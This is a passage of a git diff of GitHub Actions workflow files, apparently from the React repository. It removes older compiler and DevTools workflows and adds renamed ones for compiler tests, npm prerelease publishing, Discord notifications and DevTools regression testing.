-            const PATTERN = new RegExp(`${GENERATED} (?:SignedSource<<([a-f0-9]{32})>>)`);
-
-            const TokenNotFoundError = new Error(
-              `SignedSource.signFile(...): Cannot sign file without token: ${NEWTOKEN}`
-            );
-
-            function hash(data, encoding) {
-              const md5sum = crypto.createHash('md5');
-              md5sum.update(data, encoding);
-              return md5sum.digest('hex');
-            }
-
-            const SignedSource = {
-              getSigningToken() {
-                return `${GENERATED} ${NEWTOKEN}`;
-              },
-              isSigned(data) {
-                return PATTERN.exec(data) != null;
-              },
-              signFile(data) {
-                if (!data.includes(NEWTOKEN)) {
-                  if (SignedSource.isSigned(data)) {
-                    // Signing a file that was previously signed.
-                   data = data.replace(PATTERN, SignedSource.getSigningToken());
-                  } else {
-                    throw TokenNotFoundError;
-                  }
-                }
-                return data.replace(NEWTOKEN, `SignedSource<<${hash(data, 'utf8')}>>`);
-              },
-            };
-
-            const directory = './compiled-rn';
-            console.log('Signing files in directory:', directory);
-            try {
-              const result = execSync(`git status --porcelain ${directory}`, {encoding: 'utf8'});
-
-              // Parse the git status output to get file paths
-              const files = result.split('\n').filter(file => file.endsWith('.js'));
-
-              if (files.length === 0) {
-                throw new Error(
-                  'git status returned no files to sign. this job should not have run.'
-                );
-              } else {
-                files.forEach(line => {
-                  const file = line.slice(3).trim();
-                  if (file) {
-                    console.log('  Signing file:', file);
-                    const originalContents = fs.readFileSync(file, 'utf8');
-                    const signedContents = SignedSource.signFile(
-                      originalContents
-                        // Need to add the header in, since it's not inserted at build time.
-                        .replace(' */\n', ` * ${SignedSource.getSigningToken()}\n */\n`)
-                    );
-
-                    fs.writeFileSync(file, signedContents, 'utf8');
-                  }
-                });
-              }
-            } catch (e) {
-              process.exitCode = 1;
-              console.error('Error signing files:', e);
-            }
-      - name: Will commit these changes
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        run: |
-          git add .
-          git status
-      - name: Commit changes to branch
-        if: steps.check_should_commit.outputs.should_commit == 'true'
-        uses: stefanzweifel/git-auto-commit-action@v4
-        with:
-          commit_message: |
-            ${{ github.event.head_commit.message }}
-
-            DiffTrain build for commit https://github.com/facebook/react/commit/${{ github.sha }}.
-          branch: builds/facebook-fbsource
-          commit_user_name: ${{ github.actor }}
-          commit_user_email: ${{ github.actor }}@users.noreply.github.com
-          create_branch: true
diff --git a/.github/workflows/compiler-playground.yml b/.github/workflows/compiler-playground.yml
deleted file mode 100644
index 5d97a2bff4ce..000000000000
--- a/.github/workflows/compiler-playground.yml
+++ /dev/null
@@ -1,34 +0,0 @@
-name: Compiler Playground
-
-on:
-  push:
-    branches: [main]
-  pull_request:
-    paths:
-      - "compiler/**"
-      - .github/workflows/compiler-playground.yml
-
-defaults:
-  run:
-    working-directory: compiler
-
-jobs:
-  playground:
-    name: Test playground
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 18.x
-          cache: "yarn"
-          cache-dependency-path: compiler/yarn.lock
-      - name: Restore cached node_modules
-        uses: actions/cache@v4
-        id: node_modules
-        with:
-          path: "**/node_modules"
-          key: ${{ runner.arch }}-${{ runner.os }}-modules-${{ hashFiles('compiler/**/yarn.lock') }}
-      - run: yarn install --frozen-lockfile
-      - run: npx playwright install --with-deps chromium
-      - run: yarn workspace playground test
diff --git a/.github/workflows/compiler-rust.yml b/.github/workflows/compiler-rust.yml
deleted file mode 100644
index e492de11e0e3..000000000000
--- a/.github/workflows/compiler-rust.yml
+++ /dev/null
@@ -1,72 +0,0 @@
-name: React Compiler (Rust)
-
-on:
-  push:
-    branches: ["main"]
-    paths:
-      - .github/workflows/**
-      - compiler/crates/**
-      - compiler/Cargo.*
-      - compiler/*.toml
-  pull_request:
-    paths:
-      - .github/workflows/**
-      - compiler/crates/**
-      - compiler/Cargo.*
-      - compiler/*.toml
-
-env:
-  CARGO_TERM_COLOR: always
-  RUSTFLAGS: -Dwarnings
-
-defaults:
-  run:
-    working-directory: compiler
-
-jobs:
-  test:
-    name: Rust Test (${{ matrix.target.os }})
-    strategy:
-      matrix:
-        target:
-          - target: ubuntu-latest
-            os: ubuntu-latest
-          # TODO: run on more platforms
-          # - target: macos-latest
-          #   os: macos-latest
-          # - target: windows-latest
-          #   os: windows-latest
-    runs-on: ${{ matrix.target.os }}
-    steps:
-      - uses: actions/checkout@v4
-      - uses: Swatinem/rust-cache@v2
-      - name: cargo test
-        run: cargo test --manifest-path=Cargo.toml --locked ${{ matrix.target.features && '--features' }} ${{ matrix.target.features }}
-
-  lint:
-    name: Rust Lint
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions-rs/toolchain@v1
-        with:
-          # NOTE: use `rustup run <toolchain> <command>` in commands below
-          # with this exact same toolchain value
-          toolchain: nightly-2023-08-01
-          override: true
-          components: rustfmt, clippy
-      - uses: Swatinem/rust-cache@v2
-      - name: rustfmt
-        run: grep -r --include "*.rs" --files-without-match "@generated" crates | xargs rustup run nightly-2023-08-01 rustfmt --check --config="skip_children=true"
-      # - name: cargo clippy
-      #   run: rustup run nightly-2023-08-01 cargo clippy -- -Dclippy::correctness
-
-  build:
-    name: Rust Build
-    runs-on: ubuntu-latest
-    # TODO: build on more platforms, deploy, etc
-    steps:
-      - uses: actions/checkout@v4
-      - uses: Swatinem/rust-cache@v2
-      - name: cargo build
-        run: cargo build --release
diff --git a/.github/workflows/compiler-typescript.yml b/.github/workflows/compiler-typescript.yml
deleted file mode 100644
index 4b4a668c724e..000000000000
--- a/.github/workflows/compiler-typescript.yml
+++ /dev/null
@@ -1,106 +0,0 @@
-name: React Compiler (TypeScript)
-
-on:
-  push:
-    branches: [main]
-  pull_request:
-    paths:
-      - "compiler/**"
-      - .github/workflows/compiler-typescript.yml
-
-defaults:
-  run:
-    working-directory: compiler
-
-jobs:
-  discover_yarn_workspaces:
-    name: Discover yarn workspaces
-    runs-on: ubuntu-latest
-    outputs:
-      matrix: ${{ steps.set-matrix.outputs.matrix }}
-    steps:
-      - uses: actions/checkout@v4
-      - id: set-matrix
-        run: echo "matrix=$(find packages -mindepth 1 -maxdepth 1 -type d | sed 's!packages/!!g' | tr '\n' ',' | sed s/.$// | jq -Rsc '. / "," - [""]')" >> $GITHUB_OUTPUT
-
-  # Hardcoded to improve parallelism for babel-plugin-react-compiler
-  prettier:
-    name: Run prettier
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 18.x
-          cache: "yarn"
-          cache-dependency-path: compiler/yarn.lock
-      - name: Restore cached node_modules
-        uses: actions/cache@v4
-        with:
-          path: "**/node_modules"
-          key: ${{ runner.arch }}-${{ runner.os }}-modules-${{ hashFiles('compiler/**/yarn.lock') }}
-      - run: yarn install --frozen-lockfile
-      - run: yarn prettier:ci
-
-  # Hardcoded to improve parallelism
-  lint:
-    name: Lint babel-plugin-react-compiler
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 18.x
-          cache: "yarn"
-          cache-dependency-path: compiler/yarn.lock
-      - name: Restore cached node_modules
-        uses: actions/cache@v4
-        with:
-          path: "**/node_modules"
-          key: ${{ runner.arch }}-${{ runner.os }}-modules-${{ hashFiles('compiler/**/yarn.lock') }}
-      - run: yarn install --frozen-lockfile
-      - run: yarn workspace babel-plugin-react-compiler lint
-
-  # Hardcoded to improve parallelism
-  jest:
-    name: Jest babel-plugin-react-compiler
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 18.x
-          cache: "yarn"
-          cache-dependency-path: compiler/yarn.lock
-      - name: Restore cached node_modules
-        uses: actions/cache@v4
-        id: node_modules
-        with:
-          path: "**/node_modules"
-          key: ${{ runner.arch }}-${{ runner.os }}-modules-${{ hashFiles('compiler/**/yarn.lock') }}
-      - run: yarn install --frozen-lockfile
-      - run: yarn workspace babel-plugin-react-compiler jest
-
-  test:
-    name: Test ${{ matrix.workspace_name }}
-    needs: discover_yarn_workspaces
-    runs-on: ubuntu-latest
-    continue-on-error: true
-    strategy:
-      matrix:
-        workspace_name: ${{ fromJSON(needs.discover_yarn_workspaces.outputs.matrix) }}
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 18.x
-          cache: "yarn"
-          cache-dependency-path: compiler/yarn.lock
-      - name: Restore cached node_modules
-        uses: actions/cache@v4
-        id: node_modules
-        with:
-          path: "**/node_modules"
-          key: ${{ runner.arch }}-${{ runner.os }}-modules-${{ hashFiles('compiler/**/yarn.lock') }}
-      - run: yarn install --frozen-lockfile
-      - run: yarn workspace ${{ matrix.workspace_name }} test
diff --git a/.github/workflows/compiler_discord_notify.yml b/.github/workflows/compiler_discord_notify.yml
new file mode 100644
index 000000000000..5a57cf6a32c1
--- /dev/null
+++ b/.github/workflows/compiler_discord_notify.yml
@@ -0,0 +1,49 @@
+name: (Compiler) Discord Notify
+
+on:
+  pull_request_target:
+    types: [opened, ready_for_review]
+    paths:
+      - compiler/**
+      - .github/workflows/compiler_**.yml
+
+permissions: {}
+
+jobs:
+  check_access:
+    if: ${{ github.event.pull_request.draft == false }}
+    runs-on: ubuntu-latest
+    outputs:
+      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
+    steps:
+      - run: echo ${{ github.event.pull_request.author_association }}
+      - name: Check is member or collaborator
+        id: check_is_member_or_collaborator
+        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}
+        run: echo "is_member_or_collaborator=true" >> "$GITHUB_OUTPUT"
+
+  check_maintainer:
+    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}
+    needs: [check_access]
+    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main
+    permissions:
+      # Used by check_maintainer
+      contents: read
+    with:
+      actor: ${{ github.event.pull_request.user.login }}
+
+  notify:
+    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}
+    needs: check_maintainer
+    runs-on: ubuntu-latest
+    steps:
+      - name: Discord Webhook Action
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.COMPILER_DISCORD_WEBHOOK_URL }}
+          embed-author-name: ${{ github.event.pull_request.user.login }}
+          embed-author-url: ${{ github.event.pull_request.user.html_url }}
+          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}
+          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'
+          embed-description: ${{ github.event.pull_request.body }}
+          embed-url: ${{ github.event.pull_request.html_url }}
diff --git a/.github/workflows/compiler_playground.yml b/.github/workflows/compiler_playground.yml
new file mode 100644
index 000000000000..a19e87e25e78
--- /dev/null
+++ b/.github/workflows/compiler_playground.yml
@@ -0,0 +1,69 @@
+name: (Compiler) Playground
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    paths:
+      - compiler/**
+      - .github/workflows/compiler_playground.yml
+
+permissions: {}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+defaults:
+  run:
+    working-directory: compiler/apps/playground
+
+jobs:
+  playground:
+    name: Test playground
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: compiler/**/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: compiler-and-playground-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/**/yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+        working-directory: compiler
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Check Playwright version
+        id: playwright_version
+        run: echo "playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)" >> "$GITHUB_OUTPUT"
+      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}
+        id: cache_playwright_browsers
+        uses: actions/cache@v4
+        with:
+          path: ~/.cache/ms-playwright
+          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
+      - run: npx playwright install --with-deps chromium
+        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
+      - run: CI=true yarn test
+      - run: ls -R test-results
+        if: '!cancelled()'
+      - name: Archive test results
+        if: '!cancelled()'
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: compiler/apps/playground/test-results
+          if-no-files-found: ignore
diff --git a/.github/workflows/compiler_prereleases.yml b/.github/workflows/compiler_prereleases.yml
new file mode 100644
index 000000000000..76cd3310b1a7
--- /dev/null
+++ b/.github/workflows/compiler_prereleases.yml
@@ -0,0 +1,70 @@
+name: (Compiler) Publish Prereleases
+
+on:
+  workflow_call:
+    inputs:
+      commit_sha:
+        required: true
+        default: ''
+        type: string
+      release_channel:
+        required: true
+        type: string
+      dist_tag:
+        required: true
+        type: string
+      version_name:
+        required: true
+        type: string
+      tag_version:
+        required: false
+        type: string
+      dry_run:
+        required: false
+        type: boolean
+    secrets:
+      NPM_TOKEN:
+        required: true
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
+
+defaults:
+  run:
+    working-directory: compiler
+
+jobs:
+  publish_prerelease:
+    name: Publish prelease (${{ inputs.release_channel }}) ${{ inputs.commit_sha }} @${{ inputs.dist_tag }}
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - if: inputs.dry_run == true
+        name: Publish packages to npm (dry run)
+        run: |
+          cp ./scripts/release/ci-npmrc ~/.npmrc
+          scripts/release/publish.js --frfr --debug --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}
+      - if: inputs.dry_run != true
+        name: Publish packages to npm
+        run: |
+          cp ./scripts/release/ci-npmrc ~/.npmrc
+          scripts/release/publish.js --frfr --ci --versionName=${{ inputs.version_name }} --tag=${{ inputs.dist_tag }} ${{ inputs.tag_version && format('--tagVersion={0}', inputs.tag_version) || '' }}
diff --git a/.github/workflows/compiler_prereleases_manual.yml b/.github/workflows/compiler_prereleases_manual.yml
new file mode 100644
index 000000000000..c4a7a16aca3b
--- /dev/null
+++ b/.github/workflows/compiler_prereleases_manual.yml
@@ -0,0 +1,41 @@
+name: (Compiler) Publish Prereleases Manual
+
+on:
+  workflow_dispatch:
+    inputs:
+      prerelease_commit_sha:
+        required: false
+      release_channel:
+        required: true
+        type: string
+      dist_tag:
+        required: true
+        type: string
+      version_name:
+        required: true
+        type: string
+      tag_version:
+        required: false
+        type: string
+      dry_run:
+        required: false
+        type: boolean
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  publish_prerelease_experimental:
+    name: Publish to Experimental channel
+    uses: facebook/react/.github/workflows/compiler_prereleases.yml@main
+    with:
+      commit_sha: ${{ inputs.prerelease_commit_sha || github.sha }}
+      release_channel: ${{ inputs.release_channel }}
+      dist_tag: ${{ inputs.dist_tag }}
+      version_name: ${{ inputs.version_name }}
+      tag_version: ${{ inputs.tag_version }}
+      dry_run: ${{ inputs.dry_run }}
+    secrets:
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
diff --git a/.github/workflows/compiler_prereleases_nightly.yml b/.github/workflows/compiler_prereleases_nightly.yml
new file mode 100644
index 000000000000..ca2b5589def2
--- /dev/null
+++ b/.github/workflows/compiler_prereleases_nightly.yml
@@ -0,0 +1,24 @@
+name: (Compiler) Publish Prereleases Nightly
+
+on:
+  schedule:
+    # At 10 minutes past 16:00 on Mon, Tue, Wed, Thu, and Fri
+    - cron: 10 16 * * 1,2,3,4,5
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+
+jobs:
+  publish_prerelease_experimental:
+    name: Publish to Experimental channel
+    uses: facebook/react/.github/workflows/compiler_prereleases.yml@main
+    with:
+      commit_sha: ${{ github.sha }}
+      release_channel: experimental
+      dist_tag: experimental
+      version_name: '0.0.0'
+      dry_run: false
+    secrets:
+      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
diff --git a/.github/workflows/compiler_typescript.yml b/.github/workflows/compiler_typescript.yml
new file mode 100644
index 000000000000..6a3b52e21ae5
--- /dev/null
+++ b/.github/workflows/compiler_typescript.yml
@@ -0,0 +1,108 @@
+name: (Compiler) TypeScript
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    paths:
+      - compiler/**
+      - .github/workflows/compiler_typescript.yml
+
+permissions: {}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: true
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+defaults:
+  run:
+    working-directory: compiler
+
+jobs:
+  discover_yarn_workspaces:
+    name: Discover yarn workspaces
+    runs-on: ubuntu-latest
+    outputs:
+      matrix: ${{ steps.set-matrix.outputs.matrix }}
+    steps:
+      - uses: actions/checkout@v4
+      - id: set-matrix
+        run: echo "matrix=$(find packages -mindepth 1 -maxdepth 1 -type d | sed 's!packages/!!g' | tr '\n' ',' | sed s/.$// | jq -Rsc '. / "," - [""]')" >> $GITHUB_OUTPUT
+
+  # Hardcoded to improve parallelism
+  lint:
+    name: Lint babel-plugin-react-compiler
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn workspace babel-plugin-react-compiler lint
+
+  # Hardcoded to improve parallelism
+  jest:
+    name: Jest babel-plugin-react-compiler
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn workspace babel-plugin-react-compiler jest
+
+  test:
+    name: Test ${{ matrix.workspace_name }}
+    needs: discover_yarn_workspaces
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        workspace_name: ${{ fromJSON(needs.discover_yarn_workspaces.outputs.matrix) }}
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: compiler/yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: compiler-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('compiler/yarn.lock') }}
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: xvfb-run -a yarn workspace ${{ matrix.workspace_name }} test
+        if: runner.os == 'Linux' && matrix.workspace_name == 'react-forgive'
+      - run: yarn workspace ${{ matrix.workspace_name }} test
+        if: matrix.workspace_name != 'react-forgive'
diff --git a/.github/workflows/devtools_check_repro.yml b/.github/workflows/devtools_check_repro.yml
deleted file mode 100644
index e0335e905939..000000000000
--- a/.github/workflows/devtools_check_repro.yml
+++ /dev/null
@@ -1,205 +0,0 @@
-name: DevTools Check for bug repro
-on:
-  issues:
-    types: [opened, edited]
-  issue_comment:
-    types: [created, edited]
-
-jobs:
-  check-repro:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/github-script@v3
-        with:
-          github-token: ${{ secrets.GITHUB_TOKEN }}
-          script: |
-            const URL_REGEXP = /### Website or app[\r\n]+([^#]+)###/m;
-            const REPRO_STEPS_REGEXP = /### Repro steps[\r\n]+([^#]+)###/m;
-            const LABEL_NEEDS_MORE_INFORMATION = "Resolution: Needs More Information";
-            const LABEL_UNCONFIRMED = "Status: Unconfirmed";
-
-            function debug(...args) {
-              core.info(args.map(JSON.stringify).join(' '));
-            }
-
-            if (context.payload.comment) {
-              debug('Ignoring comment update.');
-              return;
-            }
-
-            const user = context.payload.sender.login;
-            const issue = context.payload.issue;
-            const body = issue.body;
-
-            const urlMatch = body.match(URL_REGEXP);
-            const reproStepsMatch = body.match(REPRO_STEPS_REGEXP);
-
-            const url = urlMatch !== null ? urlMatch[1].trim() : null;
-            const reproSteps = reproStepsMatch !== null ? reproStepsMatch[1].trim() : null;
-
-            if (!url || !reproSteps) {
-              debug('This issue is not a DevTools bug report.');
-              return;
-            }
-
-            debug(`found URL "${url}"`);
-            debug(`found repro steps "${reproSteps}"`);
-
-            async function createComment(comment) {
-              // Format
-              comment = comment
-                .split("\n")
-                .map((line) => line.trim())
-                .join("\n")
-                .trim();
-
-              await github.issues.createComment({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                body: comment,
-              });
-            }
-
-            async function getGitHubActionComments() {
-              debug(`Loading existing comments...`);
-
-              const comments = await github.issues.listComments({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-              });
-
-              return comments.data.filter(comment => {
-                debug(`comment by user: "${comment.user.login}"`);
-                return comment.user.login === 'github-actions[bot]';
-              });
-            }
-
-            async function getIssueLabels() {
-              const issues = await github.issues.listLabelsOnIssue({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-              });
-
-              return issues.data;
-            }
-
-            async function updateIssue(state, assignees = []) {
-              await github.issues.update({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                state,
-                assignees,
-              });
-            }
-
-            async function closeWithComment(comment) {
-              if (issue.state !== 'open') {
-                debug(`Issue is not open`);
-                return;
-              }
-
-              const labels = await getIssueLabels();
-              const label = labels.find(label => label.name === LABEL_UNCONFIRMED);
-              if (!label) {
-                debug(`Issue was not opened via DevTools bug report template`);
-                return;
-              }
-
-              const comments = await getGitHubActionComments();
-              if (comments.length > 0) {
-                debug(`Already commented on issue; won't comment again`);
-                return;
-              }
-
-              debug(`Missing required information`);
-
-              await github.issues.addLabels({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                labels: [LABEL_NEEDS_MORE_INFORMATION],
-              });
-
-              await createComment(comment);
-              await updateIssue('closed', [user]);
-            }
-
-            async function openWithComment(comment) {
-              if (issue.state !== 'closed') {
-                debug(`Issue is already open`);
-                return;
-              }
-
-              const labels = await getIssueLabels();
-              const label = labels.find(label => label.name === LABEL_NEEDS_MORE_INFORMATION);
-              if (!label) {
-                debug(`Issue was not tagged as needs information`);
-                return;
-              }
-
-              const comments = await getGitHubActionComments();
-              if (comments.length === 0) {
-                debug(`Issue was closed by someone else; won't reopen`);
-                return;
-              }
-
-              debug(`Re-opening closed issue`);
-
-              await github.issues.removeLabel({
-                issue_number: context.issue.number,
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                name: LABEL_NEEDS_MORE_INFORMATION,
-              });
-
-              await createComment(comment);
-              await updateIssue('open');
-            }
-
-            const PROBABLY_NOT_A_URL_REGEX = /(^Chrome$|^Firefox$| Website)/i;
-
-            const COMMENT_HEADER = `
-              @${user}: We're sorry you've seen this error. ❤️
-            `.trim();
-
-            const COMMENT_FOOTER = `
-              Please help us by providing a link to a CodeSandbox (https://codesandbox.io/s/new), a repository on GitHub, or a minimal code example that reproduces the problem. (Screenshots or videos can also be helpful if they help provide context on how to repro the bug.)
-
-              Here are some tips for providing a minimal example: https://stackoverflow.com/help/mcve
-
-              Issues without repros are automatically closed but we will re-open if you update with repro info.
-            `.trim();
-
-            if (url.includes("localhost")) {
-              closeWithComment(`
-                ${COMMENT_HEADER}
-
-                Unfortunately the URL you provided ("localhost") is not publicly accessible. (This means that we will not be able to reproduce the problem you're reporting.)
-
-                ${COMMENT_FOOTER}
-              `);
-            } else if (url.length < 10 || url.match(PROBABLY_NOT_A_URL_REGEX)) {
-              closeWithComment(`
-                ${COMMENT_HEADER}
-
-                It looks like you forgot to specify a valid URL. (This means that we will not be able to reproduce the problem you're reporting.)
-
-                ${COMMENT_FOOTER}
-              `);
-            } else if (reproSteps.length < 25) {
-              closeWithComment(`
-                ${COMMENT_HEADER}
-
-                Unfortunately, it doesn't look like this issue has enough info for one of us to reproduce and fix it though.
-
-                ${COMMENT_FOOTER}
-              `);
-            } else {
-              openWithComment(`
-                Thank you for providing repro steps! Re-opening issue now for triage.
-              `);
-            }
diff --git a/.github/workflows/devtools_discord_notify.yml b/.github/workflows/devtools_discord_notify.yml
new file mode 100644
index 000000000000..bb498f003710
--- /dev/null
+++ b/.github/workflows/devtools_discord_notify.yml
@@ -0,0 +1,49 @@
+name: (DevTools) Discord Notify
+
+on:
+  pull_request_target:
+    types: [opened, ready_for_review]
+    paths:
+      - packages/react-devtools**
+      - .github/workflows/devtools_**.yml
+
+permissions: {}
+
+jobs:
+  check_access:
+    if: ${{ github.event.pull_request.draft == false }}
+    runs-on: ubuntu-latest
+    outputs:
+      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}
+    steps:
+      - run: echo ${{ github.event.pull_request.author_association }}
+      - name: Check is member or collaborator
+        id: check_is_member_or_collaborator
+        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}
+        run: echo "is_member_or_collaborator=true" >> "$GITHUB_OUTPUT"
+
+  check_maintainer:
+    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}
+    needs: [check_access]
+    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main
+    permissions:
+      # Used by check_maintainer
+      contents: read
+    with:
+      actor: ${{ github.event.pull_request.user.login }}
+
+  notify:
+    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}
+    needs: check_maintainer
+    runs-on: ubuntu-latest
+    steps:
+      - name: Discord Webhook Action
+        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4
+        with:
+          webhook-url: ${{ secrets.DEVTOOLS_DISCORD_WEBHOOK_URL }}
+          embed-author-name: ${{ github.event.pull_request.user.login }}
+          embed-author-url: ${{ github.event.pull_request.user.html_url }}
+          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}
+          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'
+          embed-description: ${{ github.event.pull_request.body }}
+          embed-url: ${{ github.event.pull_request.html_url }}
diff --git a/.github/workflows/devtools_regression_tests.yml b/.github/workflows/devtools_regression_tests.yml
new file mode 100644
index 000000000000..9fe0c55e0bd0
--- /dev/null
+++ b/.github/workflows/devtools_regression_tests.yml
@@ -0,0 +1,205 @@
+name: (DevTools) Regression Tests
+
+on:
+  schedule:
+    - cron: 0 0 * * *
+  workflow_dispatch:
+    inputs:
+      commit_sha:
+        required: false
+        type: string
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  download_build:
+    name: Download base build
+    runs-on: ubuntu-latest
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
